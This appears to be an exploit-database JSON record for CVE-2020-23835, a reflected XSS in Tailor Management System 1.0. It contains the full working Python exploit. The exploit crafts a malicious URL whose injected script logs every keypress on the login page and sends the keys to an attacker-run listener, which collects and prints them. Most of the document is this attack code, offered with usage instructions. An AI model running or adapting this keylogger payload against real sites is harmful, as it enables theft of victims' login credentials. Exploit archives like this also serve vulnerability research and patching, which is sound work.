{"exploit":{"id":"EDB-48813","name":"Tailor MS 1.0 - 'error' Reflected Cross-Site Scripting (XSS)","description":"Tailor MS 1.0 - 'error' Reflected Cross-Site Scripting (XSS)","cves":["CVE-2020-23835"],"author":"boku","published":"2020-09-15","platform":"php","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/48813","path":"exploits/php/webapps/48813.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-48813.py","vulnerabilities":[{"id":"CVE-2020-23835","state":"PUBLISHED","title":null,"titleSource":null,"description":"A Reflected Cross-Site Scripting (XSS) vulnerability in the index.php login-portal webpage of SourceCodester Tailor Management System v1.0 allows remote attackers to harvest keys pressed by an unauthenticated victim who clicks on a malicious URL and begins typing.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-23835","cvss":{"version":"3.1","baseScore":6.4,"severity":"medium","vectorString":"CVSS:3.1/AC:H/AV:N/A:L/C:H/I:L/PR:N/S:U/UI:R","source":"mitre","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2020-23835"},"updatedAt":"2024-08-04T15:05:11.748Z","retrievedAt":"2026-11-26T04:16:49.704Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-48813.png?v=2","url":"https://exploitbin.com/exploits/EDB-48813","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-48813/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-48813/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Tailor MS 1.0 - Reflected Cross-Site Scripting\n# Exploit Author: Bobby Cooke (boku)  & Adeeb Shah (@hyd3sec)\n# Date: 2020-09-14\n# CVE ID: CVE-2020-23835\n# Vendor Homepage: https://www.sourcecodester.com\n# Software Link: https://www.sourcecodester.com/sites/default/files/download/Warren%20Daloyan/tailor.zip\n# Version: 1.0\n# Tested On: Windows 10 Pro + XAMPP | Python 2.7\n# OWASP Top Ten 2017: A7:2017-Cross-Site Scripting (XSS)\n# CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - Type 1: Reflected XSS\n# CWE-523: Unprotected Transport of Credentials\n# CVSS Base Score: 6.4 # Impact Subscore: 4.7 # Exploitability Subscore: 1.6\n# CVSS v3.1 Vector: AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:L\n# Vulnerability Description:\n# Reflected Cross-Site Scripting (XSS) vulnerability in 'index.php' login-portal webpage of SourceCodesters Tailor Management System v1.0 allows remote attackers to harvest keys pressed via unauthenticated victim clicking malicious URL and typing.\n\n# Reflected XSS Key Logger\n\nimport socket,sys,urllib,re\nfrom thread import *\nfrom colorama import Fore, Style\n\n\nF = [Fore.RESET,Fore.BLACK,Fore.RED,Fore.GREEN,Fore.YELLOW,Fore.BLUE,Fore.MAGENTA,Fore.CYAN,Fore.WHITE]\nS = [Style.RESET_ALL,Style.DIM,Style.NORMAL,Style.BRIGHT]\nok   = S[3]+F[2]+')'+F[5]+'+++'+F[2]+'['+F[8]+'========> '+S[0]+F[0]\nerr  = S[3]+F[2]+'<========'+F[2]+'('+F[5]+'+++'+F[2]+'( '+F[0]+S[0]\nR, C, G = Fore.RED, Fore.CYAN, Fore.GREEN\n\ndef urlEncode(javascript):\n    return urllib.quote(javascript)\n\ndef genXssPayload(LHOST,LPORT):\n    XSS_PAYLOAD  = '<script>'\n    XSS_PAYLOAD += 'var xhr = new XMLHttpRequest();'\n    XSS_PAYLOAD += 'document.onkeypress = function keyLogger(key) {'\n    XSS_PAYLOAD += 'key_press = String.fromCharCode(key.which);'\n    XSS_PAYLOAD += 'var uri = \"http://'+LHOST+':'+LPORT+'?KEY=\"+key_press;'\n    XSS_PAYLOAD += 'xhr.open(\"GET\", uri, true);'\n    XSS_PAYLOAD += 'xhr.send();}'\n    XSS_PAYLOAD += '</script>'\n    return XSS_PAYLOAD\n\ndef clientthread(conn):\n    try:\n        while True:\n            data = conn.recv(1024)\n            key = re.findall(r'KEY\\=\\w',data)\n            key = re.sub('KEY\\=','',key[0])\n            print(printKey(key))\n            if not data:\n                break\n    except:\n        conn.close()\n\ndef banner():\n    BANNER  = S[3]+C+' _______ _______ _______     _______ _______ _______     _______ _______ _______ _______ _______ _______ \\n'\n    BANNER += C+'|\\     /|\\     /|\\     /|   |\\     /|\\     /|\\     /|   |\\     /|\\     /|\\     /|\\     /|\\     /|\\     /|\\n'\n    BANNER += C+'| +---+ | +---+ | +---+ |   | +---+ | +---+ | +---+ |   | +---+ | +---+ | +---+ | +---+ | +---+ | +---+ |\\n'\n    BANNER += C+'| |   | | |   | | |   | |   | |   | | |   | | |   | |   | |   | | |   | | |   | | |   | | |   | | |   | |\\n'\n    BANNER += C+'| | '+R+'X'+C+' | | | '+R+'$'+C+' | | | '+R+'$'+C+' | |   | | '+R+'K'+C+' | | | '+R+'3'+C+' | | | '+R+'Y'+C+' | |   | | '+R+'L'+C+' | | | '+R+'0'+C+' | | | '+R+'G'+C+' | | | '+R+'G'+C+' | | | '+R+'3'+C+' | | | '+R+'R'+C+' | |\\n'\n    BANNER += C+'| +---+ | +---+ | +---+ |   | +---+ | +---+ | +---+ |   | +---+ | +---+ | +---+ | +---+ | +---+ | +---+ |\\n'\n    BANNER += C+'|/_____\\|/_____\\|/_____\\|   |/_____\\|/_____\\|/_____\\|   |/_____\\|/_____\\|/_____\\|/_____\\|/_____\\|/_____\\|\\n\\r\\n'\n    BANNER += '                                          '+R+'BOKU '+F[0]+'&'+C+' HYD3SEC'+F[0]+S[0]+'\\r\\n'\n    return BANNER\n\ndef printKey(key):\n    keyGen  = S[3]+C+'     _______\\n'\n    keyGen += C+'    |\\     /|\\n'\n    keyGen += C+'    | +---+ |\\n'\n    keyGen += C+'    | |   | |\\n'\n    keyGen += C+'    | | '+R+key+C+' | |\\n'\n    keyGen += C+'    | +---+ |\\n'\n    keyGen += C+'    |/_____\\|'+F[0]+S[0]\n    return keyGen\n\ndef header():\n    head = S[1]+F[2]+'                         __---* '+F[7]+'Tailor MS v1.0 '+F[2]+'| '+F[7]+'Reflected XSS Key Logger '+F[2]+'*---__\\n'+S[0]\n    return head\n\ndef formatHelp(STRING):\n    return S[3]+F[2]+STRING+S[0]\n\nif __name__ == \"__main__\":\n    print(header())\n    print(banner())\n    if len(sys.argv) != 4:\n        print(ok+formatHelp(\" Usage:   python %s <WEBAPP_URL> <LHOST> <LPORT>\" % sys.argv[0]))\n        print(ok+formatHelp(\" Example: python %s 'http://172.16.65.134/tailor/' '172.16.65.1' 80\\r\\n\" % sys.argv[0]))\n        print(err+\"Try Again..\\r\\n\")\n        sys.exit(-1)\n    WEBAPP_URL = sys.argv[1]\n    LHOST = sys.argv[2]\n    LPORT = sys.argv[3]\n    if not re.match(r\".*/$\", WEBAPP_URL):\n        WEBAPP_URL = WEBAPP_URL+'/'\n    WEBAPP_URL = WEBAPP_URL+'index.php'\n    PAYLOAD = genXssPayload(LHOST,LPORT)\n    ENCODED_PAYLOAD = urlEncode(PAYLOAD)\n    print(ok+F[0]+'To '+S[3]+F[2]+'Harvest Keys'+F[0]+S[0]+', have a'+F[3]+' User '+F[0]+'visit '+F[5]+'this URL'+F[0]+' and '+F[7]+'Login'+F[0]+':\\r\\n')\n    print(S[3]+F[5]+WEBAPP_URL+'?error=ALL%20YOUR%20K3Y$%20ARE%20BELONG%20TO%20US.%20'+ENCODED_PAYLOAD+S[0]+'\\r\\n')\n    LPORT = int(LPORT)\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.bind((LHOST,LPORT))\n    print(ok+S[1]+G+\"Binding to Socket.\"+F[0]+S[0])\n    s.listen(100)\n    print(ok+S[1]+G+\"Listening on Socket for incoming connections.\"+F[0]+S[0])\n    try:\n        while 1:\n            conn, addr = s.accept()\n            start_new_thread(clientthread ,(conn,))\n    except:\n        s.close()\n        print('\\r\\n'+err+\"Exiting Keylogger Credential Harvester..\")","sha256":"e471a326a777555b77721e5c7df7f6981386d358336dde2ebe2cf9f4ab851e8d","bytes":5360,"fetchedAt":"2026-11-27T03:10:33.685Z","encoding":"utf-8 (display only; download retains original bytes)"}